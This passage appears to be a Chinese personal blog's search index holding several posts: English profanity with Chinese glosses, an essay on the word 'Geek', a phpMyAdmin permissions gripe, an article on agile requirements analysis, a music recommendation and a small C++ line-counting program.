他们先后把汤，主菜和甜点都弄坏了。\nB：Bet you\u0026rsquo;ll never eat at that resturant again. 你大概不会再光顾那个餐馆了吧。\nWhat the fuck?\u0026ndash;搞什么鬼呀？什么跟什么啊？（通常对某事一脸迷惑的时候可以用这一句）\n例如：\nWhat the fuck are you talking about? 搞什么鬼啊？你到底在说什么？\nWhat the fuch are you doing? 你他妈的到底在搞什么鬼呀？\nWhat the fuck are you thinking about? 该死的，你到底在想什么呀？\nMother fucker\u0026ndash;王八，混账\n例如：\nYou mother fucker! 你这狗娘养的王八羔子。\nYou lazy mother fucker! 你这个懒人混账东西。\nMother fucking\u0026ndash;可憎的，令人讨厌的，特棒的，了不起的\n例如：\nA：This was motherfucking meal. 这顿饭真的很棒。\nB：I\u0026rsquo;m glad you liked it. Now let\u0026rsquo;s order dessert. 你喜欢就好，咱么现在叫甜点吧。\n","title":"[转] 英美口语脏话—Fuck篇"},{"content":"Geek Geek(极客)在一般的字典上解作一些拥为古怪性格的人。而对于早期的电脑发烧友，Geek就是一般人对hacker的贬称。大部份hacker都会自 己大部份的精神和时间花在电脑上，以忽略外表及与其它人的交往。普遍对Geek的印象是一个架着厚厚圈圈眼境、头发凌乱或发型古怪、衣着老土古怪，性格偏 执离群等。正如中国人喜称外国人作\u0026ldquo;鬼\u0026rdquo;，当中带有歧视成份，所以外间人并不宜使用这个称呼。\n不过近年有些人提出了对Geek的另种解释。他们定义Geek指一些喜于工余时在电脑网络上与人交往的人，如上IRC，在USENET或BBS上贴文，玩 MUD，甚至写共享软件(shareware)等。Geek并不一定是电脑高手，不过大部份都对电脑有莫大的偏爱。而由于传媒长期对Hacker定义的扭 曲，有不少Hacker及倾向成为Hacker的电脑发烧友都会自称作Geek，以免引用Hacker而带来麻烦。\n另一完整解释：\n在不同时代，年青人的的宣言都一成不变地这样结束：没有人理解我们。社会的价值与我们无关。我们是异样的。因为我们是极客。 \u0026ldquo;极客\u0026rdquo; 是来自英文\u0026quot;Geek\u0026quot;一词的翻译，又译作\u0026ldquo;奇客\u0026rdquo;。以前是对那些残忍的马戏表演者和令人厌恶的不食人间烟火的计算机癖的老式称谓，用以形容他们的自由思 想和离经叛道的计算机嬉皮士的形象。很长时间在西方文化里geek的意思一直偏向鄙意，在PC革命初期，Geek开始衍生为一般人对电脑黑客的贬称，他们 具有极高的技术能力，对计算机与网络的痴迷有时会达到不正常的状态。但如今，随着互联网的日益普及，那些一直被视为怪异者的边缘人物，突然被历史之手推向 舞台的中央，转变成为社会主流。Geek们自己却对\u0026ldquo;局外人\u0026rdquo;身分感到骄傲，宗教一样强烈信仰科技的力量。\n现在国外普遍定义Geek是指一些喜于业余时在电脑网络上与人交往的人，一般认为在电脑和网络上进行生活的人就是Geek。但是和工作中必须使用电脑 的人不同，Geek需要把他们的休闲时间也在电脑中度过，Geek也可能是电脑高手也可能不一定是电脑高手，不过大部分都对电脑有莫大的偏爱，他们可能会 对一切新鲜玩意儿都弄来搞搞。他们每天打开他们的计算机蜂拥进因特网去追求他们自己的地下文化。Geek是新的精英亚文化群，是一群爱好新事物的、以技术 为中心的、同时对社会怀有深刻不满的地下人类。Geek们是那些依靠计算机技术结合成的社会性人群，他们把大量社交时间花费在电脑网络上，他们的娱乐是每 天到处寻找新奇的东西，比如各种软件，书籍，MP3，电影之类的，他们在各种BBS里发表代表个人观点的帖子，有些高级Geek则以编写共享软件为乐事。\n正常人总是觉得geek如此沉迷于虚幻世界中是一件很不理智，极度幼稚的事情，故而看不起geek。Geek们在网上则是称霸天下，网略原是为交流而 制造的工具，Geek们只有在Geek的社会里才有自己的活力，Geek们更愿意像谈论现代神话一样谈论那些超级英雄，而不是议论上周无聊的足球联赛里无 聊的比分。geek们在网上 bbs如鱼得水，可以尽情的geek out, 交流，发泄，创造，享受着他们自己的狂热。\n并不是天天坐在电脑前的人就是Geek；一个打字员可能一天八小时都坐在电脑旁，但他可能下班后就变成了一个徘徊在床和厕所之间的孤独的普通人，他不是\u0026ldquo;计算机怪人\u0026rdquo;，他只是个计算机用户。大多数Geek都是计算机科技的狂热爱好者。\nGeek的社会其实是个受教育程度相当高、超信息化的\u0026ldquo;地下社会\u0026rdquo;。这个社区能够接受各种各样的人，只要这个人能够接入网络并善于使用它。你无法仅从 外表上来区分一个人是否是Geek。不过Geek和 Nerd不同，这也是Geek更有影响力的原因。Nerd是指技术尖子，读书狂，不参加社交活动的人。而Geek把自己定义为不止是一个技术人员或者电子 热爱者，他们有自己更高的理想，希望创立一个更为理想的社会，如果不是在目前的现实生活中，也至少要在Internet上。他们把Internet视为他 们的世界，普通人很难进入的世界。他们试图保护这个\u0026ldquo;纯洁\u0026rdquo;的新世界，他们反抗任何商业性的东西进入，他们的目标可能就是一个信息绝对自由的电子空间。 Geek们思想开放，对于\u0026ldquo;非标准\u0026rdquo;的生活方式充满敬意。\nGeek信条：需要的是原创和新奇，盲目的跟从和愚昧是不可原谅的。\n希望成为者/入门Geek\n小时候就喜欢把东西拆了，希望知道其工作原理； 对于电子设备一直有兴趣； 对电视遥控器感到非常好奇； 能够对家里的VCR编程(定时录像等)； 喜欢自学使用各种东西； 对于学校提供的电脑上机时间总是感觉不够； 中级Geek\n喜欢告诉别人你昨晚如何用了3个小时搜索WEB； 有一些朋友会一直问你有关电子的任何问题，而且相信你给出的任何答案； 已经写出了你自己的电脑程序； 使用Notepad或者VI写一些回信； 知道如何使用文本编辑器编写HTML； 从来不关电脑； 高级Geek\n喜欢告诉别人你是如何成功的启动了计算机，或者，重新给遥控器编程； 不相信任何电子设备的使用手册； 相信任何东西都能被修好； 购买昂贵的电子玩具，以期能够把它和其他设备结合起来，但是往往适得其反； 知道从注册域名到Internet如何工作的所有知识； 你的电脑的显示器比你的电视机的屏幕还大(如果你有电视机的话)； 有超过一台的电脑，而且都一直开着； 家里有局域网； 超级Geek\n穿着内衣坐在电脑前，直到凌晨，一如既往； 情愿坐在电脑前吃方便面，也不愿出去约会； 能够修好任何东西； 打字比你思考还快； 比和人们在一起花更多的时间上网； 不能理解为什么有些人不能从头到尾装起一台完整的电脑来； 不相信有图形的WEB浏览－Lynx始终是最好的选择，也是唯一的需要； 使用文本编辑器－而不是字处理软件－来回所有的信件； 从不，决不，绝对不穿西装； 相信只有Sucker才付费－免费网络连接，自由软件，用IP打电话。 编辑词条 开放分类：\n互联网\n贡献者：\nableto、魔玄冰释 \u0026ldquo;Geek\u0026rdquo;在英汉词典中的解释(来源:百度词典)：\ngeek\nKK: []\nDJ: [] n.【俚】 1. 杂耍演员(在表演时常常有咬下活鸡头等怪招) 2. 反常的人;怪胎 3. 黑客;电脑玩家 ","permalink":"https://hessian.cn/p/553.html","summary":"Geek Geek(极客)在一般的字典上解作一些拥为古怪性格的人。而对于早期的电脑发烧友，Geek就是一般人对hacker的贬称。大部份hacker都会自 己大部份的精神和时间花在电脑上，以忽略外表及与其它人的交往。普遍对Geek的印象是一个架着厚厚圈圈眼境、头发凌乱或发型古怪、衣着老土古怪，性格偏 执离群等。正如中国人喜称外国人作\u0026ldquo;鬼\u0026rdquo;，当中带有歧视成份，所以外间人并不宜使用这个称呼。\n不过近年有些人提出了对Geek的另种解释。他们定义Geek指一些喜于工余时在电脑网络上与人交往的人，如上IRC，在USENET或BBS上贴文，玩 MUD，甚至写共享软件(shareware)等。Geek并不一定是电脑高手，不过大部份都对电脑有莫大的偏爱。而由于传媒长期对Hacker定义的扭 曲，有不少Hacker及倾向成为Hacker的电脑发烧友都会自称作Geek，以免引用Hacker而带来麻烦。\n另一完整解释：\n在不同时代，年青人的的宣言都一成不变地这样结束：没有人理解我们。社会的价值与我们无关。我们是异样的。因为我们是极客。 \u0026ldquo;极客\u0026rdquo; 是来自英文\u0026quot;Geek\u0026quot;一词的翻译，又译作\u0026ldquo;奇客\u0026rdquo;。以前是对那些残忍的马戏表演者和令人厌恶的不食人间烟火的计算机癖的老式称谓，用以形容他们的自由思 想和离经叛道的计算机嬉皮士的形象。很长时间在西方文化里geek的意思一直偏向鄙意，在PC革命初期，Geek开始衍生为一般人对电脑黑客的贬称，他们 具有极高的技术能力，对计算机与网络的痴迷有时会达到不正常的状态。但如今，随着互联网的日益普及，那些一直被视为怪异者的边缘人物，突然被历史之手推向 舞台的中央，转变成为社会主流。Geek们自己却对\u0026ldquo;局外人\u0026rdquo;身分感到骄傲，宗教一样强烈信仰科技的力量。\n现在国外普遍定义Geek是指一些喜于业余时在电脑网络上与人交往的人，一般认为在电脑和网络上进行生活的人就是Geek。但是和工作中必须使用电脑 的人不同，Geek需要把他们的休闲时间也在电脑中度过，Geek也可能是电脑高手也可能不一定是电脑高手，不过大部分都对电脑有莫大的偏爱，他们可能会 对一切新鲜玩意儿都弄来搞搞。他们每天打开他们的计算机蜂拥进因特网去追求他们自己的地下文化。Geek是新的精英亚文化群，是一群爱好新事物的、以技术 为中心的、同时对社会怀有深刻不满的地下人类。Geek们是那些依靠计算机技术结合成的社会性人群，他们把大量社交时间花费在电脑网络上，他们的娱乐是每 天到处寻找新奇的东西，比如各种软件，书籍，MP3，电影之类的，他们在各种BBS里发表代表个人观点的帖子，有些高级Geek则以编写共享软件为乐事。\n正常人总是觉得geek如此沉迷于虚幻世界中是一件很不理智，极度幼稚的事情，故而看不起geek。Geek们在网上则是称霸天下，网略原是为交流而 制造的工具，Geek们只有在Geek的社会里才有自己的活力，Geek们更愿意像谈论现代神话一样谈论那些超级英雄，而不是议论上周无聊的足球联赛里无 聊的比分。geek们在网上 bbs如鱼得水，可以尽情的geek out, 交流，发泄，创造，享受着他们自己的狂热。\n并不是天天坐在电脑前的人就是Geek；一个打字员可能一天八小时都坐在电脑旁，但他可能下班后就变成了一个徘徊在床和厕所之间的孤独的普通人，他不是\u0026ldquo;计算机怪人\u0026rdquo;，他只是个计算机用户。大多数Geek都是计算机科技的狂热爱好者。\nGeek的社会其实是个受教育程度相当高、超信息化的\u0026ldquo;地下社会\u0026rdquo;。这个社区能够接受各种各样的人，只要这个人能够接入网络并善于使用它。你无法仅从 外表上来区分一个人是否是Geek。不过Geek和 Nerd不同，这也是Geek更有影响力的原因。Nerd是指技术尖子，读书狂，不参加社交活动的人。而Geek把自己定义为不止是一个技术人员或者电子 热爱者，他们有自己更高的理想，希望创立一个更为理想的社会，如果不是在目前的现实生活中，也至少要在Internet上。他们把Internet视为他 们的世界，普通人很难进入的世界。他们试图保护这个\u0026ldquo;纯洁\u0026rdquo;的新世界，他们反抗任何商业性的东西进入，他们的目标可能就是一个信息绝对自由的电子空间。 Geek们思想开放，对于\u0026ldquo;非标准\u0026rdquo;的生活方式充满敬意。\nGeek信条：需要的是原创和新奇，盲目的跟从和愚昧是不可原谅的。\n希望成为者/入门Geek\n小时候就喜欢把东西拆了，希望知道其工作原理； 对于电子设备一直有兴趣； 对电视遥控器感到非常好奇； 能够对家里的VCR编程(定时录像等)； 喜欢自学使用各种东西； 对于学校提供的电脑上机时间总是感觉不够； 中级Geek\n喜欢告诉别人你昨晚如何用了3个小时搜索WEB； 有一些朋友会一直问你有关电子的任何问题，而且相信你给出的任何答案； 已经写出了你自己的电脑程序； 使用Notepad或者VI写一些回信； 知道如何使用文本编辑器编写HTML； 从来不关电脑； 高级Geek\n喜欢告诉别人你是如何成功的启动了计算机，或者，重新给遥控器编程； 不相信任何电子设备的使用手册； 相信任何东西都能被修好； 购买昂贵的电子玩具，以期能够把它和其他设备结合起来，但是往往适得其反； 知道从注册域名到Internet如何工作的所有知识； 你的电脑的显示器比你的电视机的屏幕还大(如果你有电视机的话)； 有超过一台的电脑，而且都一直开着； 家里有局域网； 超级Geek\n穿着内衣坐在电脑前，直到凌晨，一如既往； 情愿坐在电脑前吃方便面，也不愿出去约会； 能够修好任何东西； 打字比你思考还快； 比和人们在一起花更多的时间上网； 不能理解为什么有些人不能从头到尾装起一台完整的电脑来； 不相信有图形的WEB浏览－Lynx始终是最好的选择，也是唯一的需要； 使用文本编辑器－而不是字处理软件－来回所有的信件； 从不，决不，绝对不穿西装； 相信只有Sucker才付费－免费网络连接，自由软件，用IP打电话。 编辑词条 开放分类：\n互联网\n贡献者：\nableto、魔玄冰释 \u0026ldquo;Geek\u0026rdquo;在英汉词典中的解释(来源:百度词典)：\ngeek\nKK: []\nDJ: [] n.【俚】 1. 杂耍演员(在表演时常常有咬下活鸡头等怪招) 2. 反常的人;怪胎 3. 黑客;电脑玩家 ","title":"Geek Geek Geek"},{"content":"Wrong permissions on configuration file, should not be world writable\n给它 777 他不给用 非要 775 日了 你说 我还能说啥呢？。。。。。。。\n","permalink":"https://hessian.cn/p/592.html","summary":"Wrong permissions on configuration file, should not be world writable\n给它 777 他不给用 非要 775 日了 你说 我还能说啥呢？。。。。。。。\n","title":"我靠 phpmyadmin 太贱了"},{"content":"（本文发表于程序员杂志2006年第4期）\n在很多人的印象中，敏捷软件开发是种类似黑客行为的过程，是程序员最爱的勾当。不写文档，不作需求分析，没有项目经理，做什么东西完全是程序员自己的行为。所以他们认为这样的过程无法满足真正大型项目和复杂项目的需要，因此在经过考虑后，放弃了敏捷方法。\n真的是这样吗？敏捷过程到底是如何做需求分析？用户故事和用例有什么区别？敏捷过程如何去管理需求的？这些是一些想要实践敏捷的人一直在困惑的事情。\n我们常常看到书中讲，程序员拿到一个用户故事后，怎么计划，怎么分解，怎么写单元测试，怎么小步前进，怎么持续集成。这是典型的程序员视角。事实上，敏捷方法分为三部分，敏捷项目管理，敏捷需求分析，敏捷软件开发。上述书中提到的完全是敏捷开发中的实践，很多人了解到的敏捷，只是敏捷的三分之一。\n在敏捷的团队中，作一个敏捷程序员确实是非常舒服的事情。从程序员的角度来看，只需要选择一张他感兴趣的故事卡片，了解清楚该卡片的需求，开始从功 能测试写代码，等通过了所有测试就完工。基本上不需要考虑太多的事情，非常轻松愉快。但程序员向谁去问清楚需求？故事卡片是怎样写出来的呢？让我们来关注 开发前发生的事情。\n了解敏捷过程的人都知道，Kent Beck在XP过程中提到了现场客户，如果一个敏捷团队能够有现场客户，这当然是最棒的事情。但多数情况下，客户都是很忙碌的，很难全力投入到软件开发过程中。这时候，我们就需要商务分析师这个角色，来充当客户的角色。\n我在ThoughtWorks的团队中担任的就是商务分析师这个角色。商务分析师最重要的职责就是与客户交谈，了解和分析需求，将其制作成用户故事并将需求转述给程序员。同时，商务分析师也要代替客户负责功能验收测试。\n敏捷思想的核心是人与交流。需求问题实际上是一个交流问题。商务分析师要和客户交流，搞清楚客户到底需要什么，到底为什么需要这些东西。商业价值是 商务分析师关注的最终目标。有了目标的指向，就可以不迷失方向。和客户进行交流，最终目的就是挖掘出客户的商业目标。可能大家会经常有这样的经验，客户 说，我要这个功能，我想要怎么怎么样。这时候要特别注意，他说的这些东西并不是真正的需求。商务分析师需要详细的问客户为什么，挖掘出他真正的目标。\n在这个目标下，商务分析师开始进行需求的分析：我们到底是否真的需要这个需求？有没有更好的解决方案？有没有简单并且低廉的方式？换一种形式是不是也能达到这样的需求？这个需求有多少地方涉及到以前的软件变更？\n搞清楚这些事情后，就可以写出用户故事。用户故事的书写遵循一定的原则，一般包括三部分：\u0026quot;作为（系统的一个涉众），我想要（做一件事），从而（达到一个商业价值）\u0026quot;。在书写的时候格式比较随意，可以在故事卡背面写上注释或疑问，甚至画上界面原形图。\n举一个最常见的用户故事例子，\u0026quot;作为一个普通用户，我希望能够用用户名和密码登录，以便我能享受到个性化的服务\u0026quot;。其中，用户是系统涉众，登录是他想要做的事情，而他的目标是获得个性化的服务。\n从这个例子我们可以想象到，这个页面可能存在两个文本框，用于输入用户名和密码，有一个按钮来登录，并且不登录就不能看到个人资料，另外，如果用户 输入错误需要提示\u0026quot;登录失败请重试\u0026quot;。这就是可见性，也可以称为可测试性。我们可以根据这样的可见性写出功能测试，从而驱动这个用户故事的开发，这被称为 Acceptance Driven Development。\n用户故事的作用有两个，一个是作为进度跟踪的依据，一个是作为与人交谈的备忘录。用户故事卡片并不是很精确的需求，因此不需要把事情描述的非常清 楚。将需求的详细分析推迟到实现前夕来完成，这是敏捷需求分析的精华所在。任何提前做好的东西都会导致浪费，敏捷过程提倡足够就好，避免浪费。\n不少人对用户故事和用例的区别感到疑惑。用户故事的作用是备忘功能，而不是文档。而用例需要详细的描述其操作步骤，以及每个异常路径，因而起到了文 档的作用。用户故事是可见的商业价值，而不是功能描述。每个用户故事的粒度和工作量都相差不多，这和用例有很大的区别。用户故事是小粒度的，可测试的，可 见的，并且是有价值的。[注:此处存有争议，请读者辨证阅读，勿断章取义]\nThoughtWorks有个项目组作的是一个网游物品交易平台。该平台是典型的互联网项目，在开工的时候客户对功能需求还不明确，但需要快速推出抢占市场，正是最适合敏捷过程的项目。\n在项目伊始，商务分析师和客户做了深入的谈话，了解他的商业构想，他的盈利模式，搞清楚宏观的结构，然后思考并整理获得的结果，花1-2天时间将客 户需求大略整理为几十个用户故事。这些用户故事并不完善，不足以做好整个系统。但对于我们开始项目的前一阵，已经足够了。我们可以从这里开始项目。\n敏捷方法希望快速交付可用的软件。实现软件的快速交付是通过迭代来完成。在迭代开始前，由一组有经验的开发人员大致评估一下用户故事，标记出不同的 难度和风险，并提出问题供商务分析师来获得更详细的信息，商务分析师会和相关涉众去讨论。然后商务分析师将推荐优先级最高的一组用户故事给客户来挑选，客 户可以选择这些用户故事，或者指出从他的视角看到的优先级更高的用户故事。这些将成为下一个迭代的内容。\n客户看到每个迭代交付的可运行的软件后或者得到用户反馈后，常常会有新的想法冒出来。有些想法是好的，有些想法就属于看到别家网站有这个功能，不假思索的提出的功能。这些不同的需求都需要经过认真的分析，找出哪些是值得我们立即考虑的，哪些是不用急迫的去实现的。\n有一次和客户谈话时，他说到希望增加拍卖功能。那么，我们为什么需要拍卖呢？客户说希望让用户拍卖物品以获得最高价格。经过考虑，我们发现，网游物品的实时性和唯一性决定了系统不适合使用拍卖机制。拍卖的时效性无法满足实时交易的要求，因此，用户最终放弃了这个特性。\n另一次，客服人员提出增加一个查询用户交易的功能，而此时我们有其他更加重要的功能需要先去考虑，查询用户交易功能可以由技术人员临时通过数据库直 接代为查询，因为项目运营初期交易不是很多，暂时还不需要专门的后台功能来支持客服的工作。所以把这个需求卡片一直贴在墙壁上，始终没有排到最高的优先 级。\n客户一开始也不是很能够接受敏捷需求中强调商业价值和优先级的做法。但经过几个月的磨合，客户也逐渐适应了许多敏捷思想，甚至我在和客户讨论时，偶然提起了后期的某种可能的情况，他们还能够帮我纠正应当考虑目前的情况，为近期的情况作计划。\n用户故事的跟踪和管理是由项目经理来进行。每个迭代跟踪卡片的进展，是否已经开始实现？是否已经完成代码开发？是否已经开始功能测试？不同的卡片在 迭代前都会评估为不同的大小。我们一般分为大中小三级。等实践过几个迭代后，团队的开发速度基本保持恒定，我们就可以很容易的知道每个迭代能做多少个用户 故事，这样就可以安排下一迭代的开发。\n每个迭代内分析好恰好足够下一个迭代开发的需求，就是商务分析师每个迭代的主要工作内容。商务分析师的需求分析工作在上一个迭代完成，包括需求的了解，分析，评估和排列优先级。\n在每个迭代开始的时候，由商务分析师主持召开迭代计划会议，在会议上向所有的程序员解释这个迭代要完成的用户故事，然后由程序员自由提问，知道他们能够获得足够开始实现该功能的信息。\n在程序员完成一个用户故事后，商务分析师还要来代表客户做功能验收测试，查看是否完成了预计的功能，是否有程序员还没有想到的异常情况。如果存在问题需要退回给程序员继续完成。这在一定程度上保证了系统完成的需求不偏离客户的要求。当然，更多的测试还需要QA来完成。\n我们的实践充分表明了，敏捷过程并不是没有需求分析，而是把需求分析过程分散到整个开发的过程中，让开发和需求分析并行进行。这就是ThoughtWorks敏捷方法实施成功的秘诀之一。而商务分析师在这个过程中，起到了纽带和桥梁的作用，是一个团队不可缺少的角色。\n","permalink":"https://hessian.cn/p/563.html","summary":"（本文发表于程序员杂志2006年第4期）\n在很多人的印象中，敏捷软件开发是种类似黑客行为的过程，是程序员最爱的勾当。不写文档，不作需求分析，没有项目经理，做什么东西完全是程序员自己的行为。所以他们认为这样的过程无法满足真正大型项目和复杂项目的需要，因此在经过考虑后，放弃了敏捷方法。\n","title":"[转]敏捷软件开发不是黑客行为"},{"content":"好歌推荐\u0026mdash;\u0026mdash;Bonnie Winds \u0026mdash;\u0026mdash;Bohinta http://phy.hust.edu.cn/ea/uploads/Maiev/02.Bonnie_Winds.mp3 这首Bonnie Winds，取名自1998年8月26日正面吹袭美国北卡罗来纳州的一场热带风暴。这首歌曲中基本上运用的都是原声乐器，只是将一些凯尔特人最传统的乐器比如风笛，口琴，小提琴统统进行了协调处理，使之在音乐以外能滋长出更多质朴于纯净的味道。\nBohinta由来自都柏林的兄妹Martin Furey和Aime Furey组成。\n选自专辑：Sessions\nabout the bond\nBohinta [ theband ] \u0026quot;Nobody\u0026#8217;s done music quite like this before..hints of Moving Hearts and an ethereal quality reminiscent of Enya, but comparisons will never do them justice, they need to be heard\u0026quot; ROCK N\u0026#8217;REEL Bohinta were formed in Dublin and are fronted by Martin Furey of the famous Irish musical family. On-stage, they play an eclectic mix of original and contermporary songs and tunes drawn from Martin\u0026#8217;s inherent song-writing skills and the wealth of Irish music and Celtic-lore. Hauntingly beautiful, this is music for the heart and soul that effortlessly blends the ancient with the new. Together Bohinta play uillean pipes ,guitar,bodhran,whistles, djembe, percussion,keyboards,bass, flute and of course vocals. The band have already graced The Fleadh-London, Glastonbury Festival ,the Phoenix and Dranouter Festival, Belgium in addition to many folk festivals and extensive tours of the UK and Ireland. In 1999 they embarked upon an eight-week tour of Australia wooing over festival and theatre audiences with ease and producing an immediate invitation for a speedy return. Musical accomplishments include reaching number 7 in the French charts, a number 5 in the Australian Irish-Traditional charts and a number 7 in the U.S traditional charts. Martin\u0026#8217;s playing on uillean-pipes and whistles, featured recently in the BBC TV production (Rennoch The Red Deer\u0026#8217; and also on a production of Macbeth which won the silver-screen award for the best sound-track. Bohinta\u0026#8217;s long-awaited second album \u0026#8216;Belladonna\u0026#8217; is released and out now (02). The album was played extensively pre-all Finbar Furey shows on the February/March 02 tour earlier this year, when Martin and Greig ( of Bohinta ) supported and played alongside the great man himself. The album is entitled \u0026quot;Belladonna\u0026quot; and was recorded at Realworld Studios, home of Peter Gabriel. Martin\u0026#8217;s first solo offereing is \u0026quot;Howl\u0026quot;, which features and is produced by Martin Swan of Mouthmusic. Martin also sings and plays on the current Mouthmusic album \u0026quot;Seafaring Man\u0026quot; on Skitteesh Records. \u0026quot;Howl\u0026quot; will be released on Skitteesh Records later this year,preceding the outhmusic tour on which Martin will playing in Feb/March 03. In addition to further Bohinta dates, Martin and Greig on percussion will also be joining forces once again with Finbar friends in the October 02 dates and an extensive March/April 03 tour!\n7，8年后都难得这首歌还能有印象。。。。呵呵。。。\n总算找到了 ，，，曾经找过很多次\n顺别列一下其他几首我都很喜欢的歌 都是非流行音乐类型的\nGregorain(皇家教皇合唱团)\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8212;\u0026#8212;\u0026#8212;- the Gift\u0026nbsp;\u0026nbsp;\u0026nbsp; 专辑 Master of chant VI (上帝之音4)\nMichelle Tumes(米雪尔 托梅斯) \u0026#8212;\u0026#8212;-\u0026nbsp;\u0026nbsp; Feel\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 专辑 未知\u0026#8230;.有时间查了再补上\nSecret Garden(神秘园)\u0026nbsp;\u0026nbsp; \u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\u0026nbsp;\u0026nbsp; Prayer\u0026nbsp;\u0026nbsp;\u0026nbsp; 专辑 同上 神秘园很多歌我都很喜欢 就是名字记不住..\n先列这几个\u0026#8230;有时间继续写\u0026#8230;脑子不好用啊\u0026#8230;\u0026#8230;\u0026#8230;.\n","permalink":"https://hessian.cn/p/413.html","summary":"好歌推荐\u0026mdash;\u0026mdash;Bonnie Winds \u0026mdash;\u0026mdash;Bohinta http://phy.hust.edu.cn/ea/uploads/Maiev/02.Bonnie_Winds.mp3 这首Bonnie Winds，取名自1998年8月26日正面吹袭美国北卡罗来纳州的一场热带风暴。这首歌曲中基本上运用的都是原声乐器，只是将一些凯尔特人最传统的乐器比如风笛，口琴，小提琴统统进行了协调处理，使之在音乐以外能滋长出更多质朴于纯净的味道。\n","title":"好歌推荐——Bonnie Winds ——Bohinta"},{"content":"/******************************************\n*\u0026nbsp;\u0026nbsp; 使用方法\u0026#8230;.在命令行下运行\n*\u0026nbsp;\u0026nbsp; lineamount.exe \u0026gt; 要输出行数的文件名\n*\u0026nbsp;\u0026nbsp; 输入含有要统计的文件路径的文件\n*\n*******************************************/\n#include \u0026quot;stdafx.h\u0026quot;\n#include \u0026quot;stdio.h\u0026quot;\n#include \u0026lt;iostream\u0026gt;\n#include \u0026lt;string\u0026gt;\n#include \u0026lt;fstream\u0026gt;\nusing namespace std;\nint countline( string filepath );\nint _tmain(int argc, _TCHAR* argv[])\n{\n\u0026nbsp;\u0026nbsp; string filepath;\n\u0026nbsp;\u0026nbsp; cin\u0026gt;\u0026gt;filepath;\n\u0026nbsp;\u0026nbsp; fstream filespath(filepath.c_str(),ios_base::in);\n\u0026nbsp;\u0026nbsp; if(!filespath){\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; cout\u0026lt;\u0026lt;\u0026quot;读取文件失败！\u0026quot;\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp; } else {\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; int linecount = 0, temp = 0, line = 0;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; string sep;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; while( filespath \u0026gt;\u0026gt; filepath ){\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; temp = countline(filepath);\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; if (temp \u0026gt; 0){\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; cout\u0026lt;\u0026lt;temp\u0026lt;\u0026lt;\u0026quot;ttt\u0026quot;\u0026lt;\u0026lt;filepath\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; line++;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; linecount += temp;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; } else {\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; cout\u0026lt;\u0026lt;\u0026quot;读取文件:\u0026quot;\u0026lt;\u0026lt;filepath\u0026lt;\u0026lt;\u0026quot;出错\u0026quot;\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; cout\u0026lt;\u0026lt;\u0026quot;总行数：\u0026quot;\u0026lt;\u0026lt;linecount\u0026lt;\u0026lt;endl;\n\u0026nbsp;\u0026nbsp; }\n//\u0026nbsp;\u0026nbsp; cin\u0026gt;\u0026gt;filepath;\n\u0026nbsp;\u0026nbsp; return 0;\n}\nint countline( string filepath )\n{\n\u0026nbsp;\u0026nbsp; fstream filespath(filepath.c_str(),ios_base::in);\n\u0026nbsp;\u0026nbsp; if(!filespath){\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; return -1;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; int linecount = 0;\n\u0026nbsp;\u0026nbsp; string temp = \u0026quot;\u0026quot;;\n\u0026nbsp;\u0026nbsp; while( filespath \u0026gt;\u0026gt; temp ){\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; linecount++;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return linecount;\n}\n","permalink":"https://hessian.cn/p/397.html","summary":"/******************************************\n*\u0026nbsp;\u0026nbsp; 使用方法\u0026#8230;.在命令行下运行\n*\u0026nbsp;\u0026nbsp; lineamount.exe \u0026gt; 要输出行数的文件名\n*\u0026nbsp;\u0026nbsp; 输入含有要统计的文件路径的文件\n*\n*******************************************/\n#include \u0026quot;stdafx.h\u0026quot;\n#include \u0026quot;stdio.h\u0026quot;\n#include \u0026lt;iostream\u0026gt;\n#include \u0026lt;string\u0026gt;\n#include \u0026lt;fstream\u0026gt;\n","title":"计算代码行数的小程序"},{"content":"作者：F. Permadi\n译者：Sheneyan(子乌)\n英文原文： INTRODUCTION TO JavaScript 